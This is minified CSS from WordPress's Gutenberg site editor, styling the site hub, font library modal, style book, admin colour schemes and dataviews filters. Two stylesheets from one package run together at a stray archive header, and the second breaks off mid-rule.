.edit-site-sidebar-dataviews,.edit-site-sidebar-navigation-screen-main,.edit-site-sidebar-navigation-screen-templates-browse{ margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-dataviews-dataview-item{ border-radius:2px; } .edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{ color:#e0e0e0; } .edit-site-sidebar-dataviews-dataview-item.is-selected{ background:#2f2f2f; color:#fff; font-weight:500; } .edit-site-site-hub{ align-items:center; display:flex; gap:8px; height:64px; justify-content:space-between; margin-left:12px; } .edit-site-site-hub__actions{ flex-shrink:0; } .edit-site-site-hub__view-mode-toggle-container{ flex-shrink:0; height:64px; width:64px; } .edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{ background:#0000; } .edit-site-site-hub__title .components-button{ color:#e0e0e0; display:block; flex-grow:1; font-size:15px; font-weight:500; margin-right:-4px; overflow:hidden; padding-left:16px; position:relative; text-decoration:none; text-overflow:ellipsis; white-space:nowrap; } .edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{ color:#e0e0e0; } .edit-site-site-hub__title .components-button:focus{ box-shadow:none; outline:none; } .edit-site-site-hub__title .components-button:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color); outline:2px solid #0000; outline-offset:2px; } .edit-site-site-hub__title .components-button:after{ content:"↗"; font-weight:400; left:0; opacity:0; position:absolute; } @media not (prefers-reduced-motion){ .edit-site-site-hub__title .components-button:after{ transition:opacity .1s linear; } } .edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{ opacity:1; } .edit-site-site-hub_toggle-command-center{ color:#e0e0e0; } .edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{ fill:#f0f0f0; } .edit-site-site-icon__icon{ fill:currentColor; height:100%; width:100%; } .edit-site-layout.is-full-canvas .edit-site-site-icon__icon{ padding:12px; } .edit-site-site-icon__image{ aspect-ratio:1/1; background:#333; height:100%; object-fit:cover; width:100%; } .edit-site-layout.is-full-canvas .edit-site-site-icon__image{ border-radius:0; } .edit-site-editor__view-mode-toggle button:focus{ position:relative; } .edit-site-editor__view-mode-toggle button:focus:before{ bottom:0; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff; content:""; display:block; left:0; position:absolute; right:0; top:0; z-index:1; } .edit-site-style-book{ height:100%; } .edit-site-style-book.is-button{ border-radius:8px; } .edit-site-style-book{ align-items:stretch; display:flex; flex-direction:column; } .edit-site-style-book__iframe{ display:block; height:100%; width:100%; } .edit-site-style-book__iframe.is-button{ border-radius:8px; } .edit-site-style-book__iframe.is-focused{ outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color); outline-offset:calc(var(--wp-admin-border-width-focus)*-2); } .edit-site-style-book__tablist-container{ background:#fff; display:flex; flex:none; padding-left:56px; width:100%; } .edit-site-style-book__tabpanel{ flex:1 0 auto; overflow:auto; } .edit-site-editor-canvas-container{ background-color:var(--wp-editor-canvas-background); height:100%; } .edit-site-editor-canvas-container iframe{ display:block; height:100%; width:100%; } .edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{ padding:24px 24px 0; } .edit-site-editor-canvas-container__section{ background:#fff; border-radius:8px; bottom:0; left:0; overflow:hidden; position:absolute; right:0; top:0; } @media not (prefers-reduced-motion){ .edit-site-editor-canvas-container__section{ transition:all .3s; } } .edit-site-editor-canvas-container__close-button{ background:#fff; left:8px; position:absolute; top:8px; z-index:2; } .edit-site-post-edit{ padding:24px; } .dataforms-layouts-panel__field-dropdown .fields-controls__password{ border-top:1px solid #e0e0e0; padding-top:16px; } .edit-site-post-list__featured-image{ height:100%; object-fit:cover; width:100%; } .edit-site-post-list__featured-image-wrapper{ border-radius:4px; height:100%; width:100%; } .edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){ background-color:#f0f0f0; border-radius:4px; display:block; flex-grow:0 !important; height:32px; overflow:hidden; position:relative; width:32px; } .edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; position:absolute; right:0; top:0; width:100%; } .edit-site-post-list__featured-image-button{ background-color:unset; border:none; border-radius:4px; box-shadow:none; box-sizing:border-box; cursor:pointer; height:100%; overflow:hidden; padding:0; width:100%; } .edit-site-post-list__featured-image-button:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{ background:rgba(var(--wp-admin-theme-color--rgb), .04); box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-post-list__status-icon{ height:24px; width:24px; } .edit-site-post-list__status-icon svg{ fill:currentColor; margin-right:-4px; } .edit-site-resizable-frame__inner{ position:relative; } body:has(.edit-site-resizable-frame__inner.is-resizing){ cursor:col-resize; user-select:none; -webkit-user-select:none; } .edit-site-resizable-frame__inner.is-resizing:before{ content:""; inset:0; position:absolute; z-index:1; } .edit-site-resizable-frame__inner-content{ inset:0; position:absolute; z-index:0; } .edit-site-resizable-frame__handle{ align-items:center; background-color:#75757566; border:0; border-radius:4px; cursor:col-resize; display:flex; height:64px; justify-content:flex-end; padding:0; position:absolute; top:calc(50% - 32px); width:4px; z-index:100; } .edit-site-resizable-frame__handle:before{ content:""; height:100%; position:absolute; right:100%; width:32px; } .edit-site-resizable-frame__handle:after{ content:""; height:100%; left:100%; position:absolute; width:32px; } .edit-site-resizable-frame__handle:focus-visible{ outline:2px solid #0000; } .edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{ background-color:var(--wp-admin-theme-color); } .edit-site-push-changes-to-global-styles-control .components-button{ justify-content:center; width:100%; } @media (min-width:782px){ .font-library-modal.font-library-modal{ width:65vw; } } .font-library-modal .components-modal__header{ border-bottom:none; } .font-library-modal .components-modal__content{ margin-bottom:70px; padding-top:0; } .font-library-modal .font-library-modal__subtitle{ font-size:11px; font-weight:500; text-transform:uppercase; } .font-library-modal .components-navigator-screen{ padding:3px; } .font-library-modal__tabpanel-layout{ margin-top:32px; } .font-library-modal__tabpanel-layout .font-library-modal__loading{ align-items:center; display:flex; height:100%; justify-content:center; padding-top:124px; position:absolute; right:0; top:0; width:100%; } .font-library-modal__footer{ background-color:#fff; border-top:1px solid #ddd; bottom:32px; height:70px; margin:0 -32px -32px; padding:16px 32px; position:absolute; width:100%; } .font-library-modal__page-selection{ font-size:11px; font-weight:500; text-transform:uppercase; } @media (min-width:600px){ .font-library-modal__page-selection .components-select-control__input{ font-size:11px !important; font-weight:500; } } .font-library-modal__fonts-title{ font-size:11px; font-weight:600; text-transform:uppercase; } .font-library-modal__fonts-list,.font-library-modal__fonts-title{ margin-bottom:0; margin-top:0; } .font-library-modal__fonts-list-item{ margin-bottom:0; } .font-library-modal__font-card{ border:1px solid #e0e0e0; height:auto !important; margin-top:-1px; padding:16px; width:100%; } .font-library-modal__font-card:hover{ background-color:#f0f0f0; } .font-library-modal__font-card:focus{ position:relative; } .font-library-modal__font-card .font-library-modal__font-card__name{ font-weight:700; } .font-library-modal__font-card .font-library-modal__font-card__count{ color:#757575; } .font-library-modal__font-card .font-library-modal__font-variant_demo-image{ display:block; height:24px; width:auto; } .font-library-modal__font-card .font-library-modal__font-variant_demo-text{ flex-shrink:0; white-space:nowrap; } @media not (prefers-reduced-motion){ .font-library-modal__font-card .font-library-modal__font-variant_demo-text{ transition:opacity .3s ease-in-out; } } .font-library-modal__font-variant{ border-bottom:1px solid #e0e0e0; padding-bottom:16px; } .font-library-modal__tablist-container{ background:#fff; border-bottom:1px solid #ddd; margin:0 -32px; padding:0 16px; position:sticky; top:0; z-index:1; } .font-library-modal__tablist-container [role=tablist]{ margin-bottom:-1px; } .font-library-modal__upload-area{ align-items:center; display:flex; height:256px !important; justify-content:center; width:100%; } button.font-library-modal__upload-area{ background-color:#f0f0f0; } .font-library-modal__local-fonts{ margin:0 auto; width:80%; } .font-library-modal__local-fonts .font-library-modal__upload-area__text{ color:#757575; } .font-library__google-fonts-confirm{ align-items:center; display:flex; justify-content:center; margin-top:64px; } .font-library__google-fonts-confirm p{ line-height:1.4; } .font-library__google-fonts-confirm h2{ font-size:1.2rem; font-weight:400; } .font-library__google-fonts-confirm .components-card{ padding:16px; width:400px; } .font-library__google-fonts-confirm .components-button{ justify-content:center; width:100%; } .font-library-modal__select-all{ padding:16px 17px 16px 16px; } .font-library-modal__select-all .components-checkbox-control__label{ padding-right:16px; } .edit-site-pagination .components-button.is-tertiary{ height:32px; justify-content:center; width:32px; } .edit-site-global-styles-variations_item{ box-sizing:border-box; cursor:pointer; } .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{ border-radius:2px; outline:1px solid #0000001a; outline-offset:-1px; overflow:hidden; position:relative; } @media not (prefers-reduced-motion){ .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{ transition:outline .1s linear; } } .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill{ height:32px; } .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill .block-editor-iframe__scale-container{ overflow:hidden; } .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{ outline-color:#0000004d; } .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview,.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{ outline-color:#1e1e1e; outline-offset:1px; outline-width:var(--wp-admin-border-width-focus); } .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{ outline-color:var(--wp-admin-theme-color); } .edit-site-styles .edit-site-global-styles-screen-root{ box-shadow:none; } .edit-site-styles .edit-site-global-styles-screen-root>div>hr{ display:none; } .edit-site-styles .edit-site-global-styles-sidebar__navigator-provider .components-tools-panel{ border-top:none; } .edit-site-styles .edit-site-global-styles-sidebar__navigator-provider{ overflow-y:auto; padding-left:0; padding-right:0; } .edit-site-styles .edit-site-global-styles-sidebar__navigator-provider .edit-site-global-styles-sidebar__navigator-screen{ outline:none; padding:12px; } .edit-site-styles .edit-site-sidebar-button{ color:#1e1e1e; } ::view-transition-image-pair(root){ isolation:auto; } ::view-transition-new(root),::view-transition-old(root){ animation:none; display:block; mix-blend-mode:normal; } body.js #wpadminbar{ display:none; } body.js #wpbody{ padding-top:0; } body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{ background:#fff; } body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{ padding-right:0; } body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{ padding-bottom:0; } body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{ display:none; } body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{ right:-1px; top:-1px; } body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{ border-left-color:#fff; } body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{ max-width:100%; width:auto; } body.js.site-editor-php{ background:#1e1e1e; } .edit-site{ box-sizing:border-box; } .edit-site *,.edit-site :after,.edit-site :before{ box-sizing:inherit; } .edit-site{ height:100vh; } @media (min-width:600px){ .edit-site{ bottom:0; left:0; min-height:100vh; position:fixed; right:0; top:0; } } .no-js .edit-site{ min-height:0; position:static; } .edit-site .interface-interface-skeleton{ top:0; } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 114.7661290323, 160.5; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 96.5322580645, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33.0384615385, 68.7307692308, 230.4615384615; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:23.6923076923, 58.1538461538, 214.3076923077; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7.3723404255, 81.914893617, 108.1276595745; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:5.7446808511, 63.829787234, 84.2553191489; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56.2692307692, 51.4461538462, 48.2307692308; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:42.5384615385, 38.8923076923, 36.4615384615; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:69.8430232558, 53.6598837209, 92.8401162791; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:57.6860465116, 44.3197674419, 76.6802325581; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221.4908256881, 56.1788990826, 45.0091743119; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:207.8348623853, 44.2201834862, 33.1651376147; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87.0873362445, 110.192139738, 116.4126637555; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76.1746724891, 96.384279476, 101.8253275109; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; --wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:216.8782608696, 116.1847826087, 37.6217391304; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195.147826087, 104.5434782609, 33.852173913; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } }PK!ho•L¬ì¬ìcss/dist/edit-site/style.cssnuȯÝí@charset "UTF-8"; .admin-ui-page{ background-color:#fff; color:#2f2f2f; container:admin-ui-page/inline-size; display:flex; flex-flow:column; height:100%; position:relative; z-index:1; } @media not (prefers-reduced-motion){ .admin-ui-page{ transition:width .2s ease-out; } } .admin-ui-page__header{ background:#fff; border-bottom:1px solid #f0f0f0; padding:16px 48px; position:sticky; top:0; } @container (max-width: 430px){ .admin-ui-page__header{ padding:16px 24px; } } .admin-ui-page__header-subtitle{ color:#757575; font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; line-height:20px; margin:0; padding-block-end:8px; } .admin-ui-page__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; } .admin-ui-page__content.has-padding{ padding:16px 20px; } @container (max-width: 430px){ .admin-ui-page__content.has-padding{ padding:16px 24px; } } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{ padding:0 8px; width:auto; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{ display:none; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; } .dataviews-picker-wrapper,.dataviews-wrapper{ box-sizing:border-box; container:dataviews-wrapper/inline-size; display:flex; flex-direction:column; font-size:13px; height:100%; line-height:1.4; overflow:auto; scroll-padding-bottom:64px; } .dataviews-filters__container,.dataviews__view-actions{ box-sizing:border-box; flex-shrink:0; left:0; padding:16px 48px; position:sticky; } @media not (prefers-reduced-motion){ .dataviews-filters__container,.dataviews__view-actions{ transition:padding .1s ease-out; } } .dataviews-loading,.dataviews-no-results{ align-items:center; display:flex; flex-grow:1; justify-content:center; padding:0 48px; } @media not (prefers-reduced-motion){ .dataviews-loading,.dataviews-no-results{ transition:padding .1s ease-out; } } .dataviews-loading-more{ text-align:center; } @container (max-width: 430px){ .dataviews-filters__container,.dataviews__view-actions{ padding:12px 24px; } .dataviews-loading,.dataviews-no-results{ padding-left:24px; padding-right:24px; } } .dataviews-title-field{ font-size:13px; font-weight:500; width:100%; } .dataviews-title-field,.dataviews-title-field a{ color:#2f2f2f; text-overflow:ellipsis; white-space:nowrap; } .dataviews-title-field a{ display:block; flex-grow:0; overflow:hidden; text-decoration:none; } .dataviews-title-field a:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field a:focus{ border-radius:2px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba); color:var(--wp-admin-theme-color--rgb); } .dataviews-title-field button.components-button.is-link{ color:#1e1e1e; display:block; font-weight:inherit; overflow:hidden; text-decoration:none; text-overflow:ellipsis; white-space:nowrap; width:100%; } .dataviews-title-field button.components-button.is-link:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field--clickable{ color:#2f2f2f; cursor:pointer; } .dataviews-title-field--clickable:hover{ color:var(--wp-admin-theme-color); } .dataviews-title-field--clickable:focus{ border-radius:2px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba); color:var(--wp-admin-theme-color--rgb); } .components-card__body:has(>.dataviews-picker-wrapper),.components-card__body:has(>.dataviews-wrapper){ overflow:hidden; padding:8px 0 0; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews__view-actions,.components-card__body:has(>.dataviews-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-wrapper) .dataviews__view-actions{ padding-inline:24px; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:first-child{ padding-inline-start:24px; } .components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:last-child{ padding-inline-end:24px; } .dataviews-bulk-actions-footer__item-count{ color:#1e1e1e; font-size:11px; font-weight:500; text-transform:uppercase; } .dataviews-bulk-actions-footer__container{ margin-right:auto; min-height:32px; } .dataviews-filters__button{ position:relative; } .dataviews-filters__container{ padding-top:0; } .dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{ opacity:0; } .dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{ opacity:1; } .dataviews-filters__summary-popover{ font-size:13px; line-height:1.4; } .dataviews-filters__summary-popover .components-popover__content{ border-radius:4px; max-width:250px; min-width:230px; width:100%; } .dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{ padding:0; } .dataviews-filters__summary-operators-container{ padding:8px 16px; } .dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-no-elements),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__user-input-widget){ border-bottom:1px solid #e0e0e0; } .dataviews-filters__summary-operators-container:empty{ display:none; } .dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{ color:#757575; flex-shrink:0; max-width:calc(100% - 55px); overflow:hidden; text-overflow:ellipsis; white-space:nowrap; } .dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-select{ overflow:hidden; white-space:nowrap; width:100%; } .dataviews-filters__summary-chip-container{ position:relative; white-space:pre-wrap; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{ align-items:center; background:#f0f0f0; border:1px solid #0000; border-radius:16px; box-sizing:border-box; color:#2f2f2f; cursor:pointer; display:flex; min-height:32px; padding:4px 12px; position:relative; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable{ cursor:default; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{ padding-inline-end:28px; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover:not(.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable),.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{ background:#e0e0e0; color:#1e1e1e; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{ background:rgba(var(--wp-admin-theme-color--rgb), .04); color:var(--wp-admin-theme-color); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{ background:rgba(var(--wp-admin-theme-color--rgb), .12); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:none; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{ font-weight:500; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{ align-items:center; background:#0000; border:0; border-radius:50%; cursor:pointer; display:flex; height:24px; justify-content:center; padding:0; position:absolute; right:4px; top:50%; transform:translateY(-50%); width:24px; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{ fill:#757575; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{ background:#e0e0e0; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{ fill:#1e1e1e; } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{ fill:var(--wp-admin-theme-color); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .08); } .dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:none; } .dataviews-filters__search-widget-filter-combobox-list{ border-top:1px solid #e0e0e0; max-height:184px; overflow:auto; padding:4px; } .dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{ font-weight:600; } .dataviews-filters__search-widget-listbox{ overflow:auto; padding:4px; } .dataviews-filters__search-widget-listitem{ align-items:center; border-radius:2px; box-sizing:border-box; cursor:default; display:flex; font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; gap:8px; line-height:20px; min-height:32px; padding:4px 12px; } .dataviews-filters__search-widget-listitem:last-child{ margin-block-end:0; } .dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{ background-color:var(--wp-admin-theme-color); color:#fff; } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{ color:#fff; } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection{ background:#fff; border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection.is-selected{ background:var(--wp-admin-theme-color-darker-20, #183ad6); border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection{ border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection.is-selected{ background:var(--wp-admin-theme-color-darker-20, #183ad6); border-color:var(--wp-admin-theme-color-darker-20, #183ad6); } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{ color:#757575; display:block; font-size:12px; line-height:16px; overflow:hidden; text-overflow:ellipsis; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ border:1px solid #1e1e1e; border-radius:50%; height:24px; margin-right:12px; max-width:24px; min-width:24px; position:relative; transition:none; width:24px; } @media not (prefers-reduced-motion){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ transition:box-shadow .1s linear; } } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ height:16px; max-width:16px; min-width:16px; width:16px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{ background-color:#fff; border:4px solid #fff; box-sizing:inherit; height:12px; left:50%; margin:0; position:absolute; top:50%; transform:translate(-50%, -50%); width:12px; } @media (min-width:600px){ .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{ height:8px; width:8px; } } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:focus{ box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked{ background:var(--wp-admin-theme-color); border:none; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{ margin:0; padding:0; } .dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected{ background:var(--wp-admin-theme-color, #3858e9); border-color:var(--wp-admin-theme-color, #3858e9); 